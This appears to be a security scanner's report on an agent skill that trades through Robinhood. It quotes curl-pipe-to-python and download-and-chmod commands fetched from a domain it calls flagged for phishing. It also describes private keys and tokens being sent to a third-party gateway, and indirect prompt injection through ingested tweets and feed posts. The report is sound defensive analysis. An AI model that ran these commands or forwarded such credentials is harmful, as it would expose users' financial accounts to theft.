The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill repeatedly directs the agent and the user to download and execute unverified remote scripts using unsafe patterns.
Evidence: Instructions such as curl -fsSL https://rhagent.bot/scripts/generate_rh_keypair.py | python3 are present in SKILL.md and references/SETUP-CREDENTIALS.md.
Evidence: The skill uses curl -fsSL https://rhagent.bot/scripts/rh-chain-fill-post.sh -o /tmp/rh-chain-fill-post.sh && chmod +x /tmp/rh-chain-fill-post.sh in references/BANKR.md.
Security scanners have identified https://rhagent.bot as a phishing domain, making remote execution from this source extremely high-risk.
[COMMAND_EXECUTION]: Included scripts perform dynamic code execution and local script generation.
Evidence: scripts/rh-equity-trade.sh and scripts/agentic-mcp.sh use heredocs to execute dynamically generated Python code at runtime.
Evidence: The skill applies chmod +x to files downloaded from the internet before running them.
[CREDENTIALS_UNSAFE]: The skill handles extremely sensitive Robinhood financial credentials.
Evidence: It manages RH_PRIVATE_KEY_BASE64 and AGENTIC_TOKEN environment variables.
These credentials are sent to a third-party gateway (rhwallet-rhagent-production.up.railway.app) on a public cloud provider, exposing them to an external intermediary.
[DATA_EXFILTRATION]: Sensitive trade information, including symbols, quantities, and user-generated theses, are exfiltrated to the external rhagent.bot API.
[PROMPT_INJECTION]: The skill processes untrusted data from external social feeds and tweets, creating a broad surface for indirect prompt injection.
Evidence: Feed posts and tweet text are ingested from rhagent.bot and X and are then summarized or used to populate tool arguments.
While the skill contains warnings regarding untrusted data, this does not eliminate the risk of the model following malicious instructions embedded in the feed content.
[EXTERNAL_DOWNLOADS]: The skill relies on external code and dependencies from non-trusted repositories and domains flagged for phishing.
Evidence: Clones code from https://github.com/rhagent69/Rhagent.git and downloads scripts from https://rhagent.bot.

rhagent